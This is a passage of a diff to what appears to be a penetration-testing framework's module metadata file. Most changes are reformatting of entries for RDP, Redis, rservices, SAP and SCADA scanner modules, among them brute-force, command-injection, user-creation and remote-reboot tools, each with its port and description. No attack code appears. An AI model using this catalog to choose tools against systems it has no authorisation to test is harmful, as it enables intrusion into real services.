"auxiliary/scanner/rdp/cve_2019_0708_bluekeep", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-05-14", "type": "auxiliary", @@ -52723,12 +45698,8 @@ "platform": "", "arch": "", "rport": 3389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb", @@ -52761,9 +45732,7 @@ "auxiliary_scanner/rdp/ms12_020_check": { "name": "MS12-020 Microsoft Remote Desktop Checker", "fullname": "auxiliary/scanner/rdp/ms12_020_check", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52782,12 +45751,8 @@ "platform": "", "arch": "", "rport": 3389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/rdp/ms12_020_check.rb", @@ -52796,20 +45761,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/rdp/rdp_scanner": { "name": "Identify endpoints speaking the Remote Desktop Protocol (RDP)", "fullname": "auxiliary/scanner/rdp/rdp_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52823,12 +45783,8 @@ "platform": "", "arch": "", "rport": 3389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/rdp/rdp_scanner.rb", @@ -52838,28 +45794,20 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], + "Stability": [], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/redis/file_upload": { "name": "Redis File Upload", "fullname": "auxiliary/scanner/redis/file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-11-11", "type": "auxiliary", @@ -52870,40 +45818,31 @@ "description": "This module can be used to leverage functionality exposed by Redis to\n achieve somewhat arbitrary file upload to a file and directory to\n which the user account running the redis instance has access. It is\n not totally arbitrary because the exact contents of the file cannot\n be completely controlled given the nature of how Redis stores its\n database on disk.", "references": [ "URL-http://antirez.com/news/96", - "URL-http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/", + "URL-http://web.archive.org/web/20240907110448/https://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/", "URL-https://redis.io/topics/protocol" ], "platform": "", "arch": "", "rport": 6379, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/redis/file_upload.rb", "is_install_path": true, "ref_name": "scanner/redis/file_upload", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/redis/redis_login": { "name": "Redis Login Utility", "fullname": "auxiliary/scanner/redis/redis_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52917,12 +45856,8 @@ "platform": "", "arch": "", "rport": 6379, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-06-28 10:21:08 +0000", "path": "/modules/auxiliary/scanner/redis/redis_login.rb", @@ -52931,20 +45866,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/redis/redis_server": { "name": "Redis Command Execute Scanner", "fullname": "auxiliary/scanner/redis/redis_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52953,18 +45883,12 @@ "Nixawk" ], "description": "This module locates Redis endpoints by attempting to run a specified\n Redis command.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 6379, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/redis/redis_server.rb", @@ -52973,20 +45897,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/rogue/rogue_recv": { "name": "Rogue Gateway Detection: Receiver", "fullname": "auxiliary/scanner/rogue/rogue_recv", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52994,18 +45913,12 @@ "hdm " ], "description": "This module listens for replies to the requests sent by\n the rogue_send module. The RPORT, CPORT, and ECHOID values\n must match the rogue_send parameters used exactly.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/scanner/rogue/rogue_recv.rb", @@ -53014,20 +45927,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/rogue/rogue_send": { "name": "Rogue Gateway Detection: Sender", "fullname": "auxiliary/scanner/rogue/rogue_send", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53035,18 +45943,12 @@ "hdm " ], "description": "This module send a series of TCP SYN and ICMP ECHO requests\n to each internal target host, spoofing the source address of an external\n system running the rogue_recv module. This allows the system running\n the rogue_recv module to determine what external IP a given internal\n system is using as its default route.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/rogue/rogue_send.rb", @@ -53055,20 +45957,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/rservices/rexec_login": { "name": "rexec Authentication Scanner", "fullname": "auxiliary/scanner/rservices/rexec_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53083,12 +45980,8 @@ "platform": "", "arch": "", "rport": 512, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-06-03 11:02:15 +0000", "path": "/modules/auxiliary/scanner/rservices/rexec_login.rb", @@ -53097,20 +45990,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/rservices/rlogin_login": { "name": "rlogin Authentication Scanner", "fullname": "auxiliary/scanner/rservices/rlogin_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53125,12 +46013,8 @@ "platform": "", "arch": "", "rport": 513, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-21 11:00:24 +0000", "path": "/modules/auxiliary/scanner/rservices/rlogin_login.rb", @@ -53139,20 +46023,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/rservices/rsh_login": { "name": "rsh Authentication Scanner", "fullname": "auxiliary/scanner/rservices/rsh_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53167,12 +46046,8 @@ "platform": "", "arch": "", "rport": 514, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-06-03 11:02:15 +0000", "path": "/modules/auxiliary/scanner/rservices/rsh_login.rb", @@ -53181,20 +46056,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/rsync/modules_list": { "name": "List Rsync Modules", "fullname": "auxiliary/scanner/rsync/modules_list", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53210,12 +46080,8 @@ "platform": "", "arch": "", "rport": 873, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/rsync/modules_list.rb", @@ -53224,20 +46090,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sage/x3_adxsrv_login": { "name": "Sage X3 AdxAdmin Login Scanner", "fullname": "auxiliary/scanner/sage/x3_adxsrv_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53251,12 +46112,8 @@ "platform": "", "arch": "", "rport": 1818, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/sage/x3_adxsrv_login.rb", @@ -53265,20 +46122,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_ctc_verb_tampering_user_mgmt": { "name": "SAP CTC Service Verb Tampering User Management", "fullname": "auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53317,20 +46169,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_hostctrl_getcomputersystem": { "name": "SAP Host Agent Information Disclosure", "fullname": "auxiliary/scanner/sap/sap_hostctrl_getcomputersystem", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53372,20 +46219,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_icf_public_info": { "name": "SAP ICF /sap/public/info Service Sensitive Information Gathering", "fullname": "auxiliary/scanner/sap/sap_icf_public_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53395,9 +46237,7 @@ "ChrisJohnRiley" ], "description": "This module uses the /sap/public/info service within SAP Internet Communication\n Framework (ICF) to obtain the operating system version, SAP version, IP address\n and other information.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8000, @@ -53424,20 +46264,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_icm_urlscan": { "name": "SAP URL Scanner", "fullname": "auxiliary/scanner/sap/sap_icm_urlscan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53474,20 +46309,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_abaplog": { "name": "SAP Management Console ABAP Syslog Disclosure", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_abaplog", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53525,20 +46355,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_brute_login": { "name": "SAP Management Console Brute Force", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_brute_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53576,20 +46401,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_extractusers": { "name": "SAP Management Console Extract Users", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_extractusers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53627,20 +46447,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_getaccesspoints": { "name": "SAP Management Console Get Access Points", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53678,20 +46493,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_getenv": { "name": "SAP Management Console getEnvironment", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_getenv", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53729,20 +46539,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_getlogfiles": { "name": "SAP Management Console Get Logfile", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_getlogfiles", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53781,20 +46586,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_getprocesslist": { "name": "SAP Management Console GetProcessList", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_getprocesslist", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53833,20 +46633,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_getprocessparameter": { "name": "SAP Management Console Get Process Parameters", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53884,20 +46679,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_instanceproperties": { "name": "SAP Management Console Instance Properties", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_instanceproperties", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53935,20 +46725,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_listconfigfiles": { "name": "SAP Management Console List Config Files", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -53987,20 +46772,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_listlogfiles": { "name": "SAP Management Console List Logfiles", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_listlogfiles", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54038,20 +46818,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_startprofile": { "name": "SAP Management Console getStartProfile", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_startprofile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54089,20 +46864,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_mgmt_con_version": { "name": "SAP Management Console Version Detection", "fullname": "auxiliary/scanner/sap/sap_mgmt_con_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54140,20 +46910,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_router_info_request": { "name": "SAPRouter Admin Request", "fullname": "auxiliary/scanner/sap/sap_router_info_request", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54170,12 +46935,8 @@ "platform": "", "arch": "", "rport": 3299, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/sap/sap_router_info_request.rb", @@ -54184,20 +46945,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_router_portscanner": { "name": "SAPRouter Port Scanner", "fullname": "auxiliary/scanner/sap/sap_router_portscanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54216,12 +46972,8 @@ "platform": "", "arch": "", "rport": "3299", - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/sap/sap_router_portscanner.rb", @@ -54230,20 +46982,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_service_discovery": { "name": "SAP Service Discovery", "fullname": "auxiliary/scanner/sap/sap_service_discovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54257,12 +47004,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/sap/sap_service_discovery.rb", @@ -54271,20 +47014,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_smb_relay": { "name": "SAP SMB Relay Abuse", "fullname": "auxiliary/scanner/sap/sap_smb_relay", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54323,20 +47061,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_bapi_user_create1": { "name": "SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation", "fullname": "auxiliary/scanner/sap/sap_soap_bapi_user_create1", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54374,20 +47107,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_brute_login": { "name": "SAP SOAP Service RFC_PING Login Brute Forcer", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_brute_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54425,20 +47153,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec": { "name": "SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54476,20 +47199,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec": { "name": "SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54527,20 +47245,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_eps_get_directory_listing": { "name": "SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54577,20 +47290,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_pfl_check_os_file_existence": { "name": "SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54630,20 +47338,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_ping": { "name": "SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_ping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54681,20 +47384,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_read_table": { "name": "SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_read_table", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54732,20 +47430,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_rzl_read_dir": { "name": "SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54784,20 +47477,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_susr_rfc_user_interface": { "name": "SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54835,20 +47523,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_sxpg_call_system_exec": { "name": "SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54886,20 +47569,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_sxpg_command_exec": { "name": "SAP SOAP RFC SXPG_COMMAND_EXECUTE", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54937,20 +47615,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_rfc_system_info": { "name": "SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering", "fullname": "auxiliary/scanner/sap/sap_soap_rfc_system_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -54990,20 +47663,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_soap_th_saprel_disclosure": { "name": "SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure", "fullname": "auxiliary/scanner/sap/sap_soap_th_saprel_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55041,20 +47709,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sap/sap_web_gui_brute_login": { "name": "SAP Web GUI Login Brute Forcer", "fullname": "auxiliary/scanner/sap/sap_web_gui_brute_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55091,20 +47754,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/bacnet_l3": { "name": "BACnet Scanner", "fullname": "auxiliary/scanner/scada/bacnet_l3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55112,18 +47770,12 @@ "Paz " ], "description": "Discover BACnet devices by broadcasting Who-is message, then poll\n discovered devices for properties including model name,\n software version, firmware revision and description.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-07-24 16:42:43 +0000", "path": "/modules/auxiliary/scanner/scada/bacnet_l3.rb", @@ -55145,16 +47797,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/digi_addp_reboot": { "name": "Digi ADDP Remote Reboot Initiator", "fullname": "auxiliary/scanner/scada/digi_addp_reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55169,12 +47817,8 @@ "platform": "", "arch": "", "rport": 2362, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/scada/digi_addp_reboot.rb", @@ 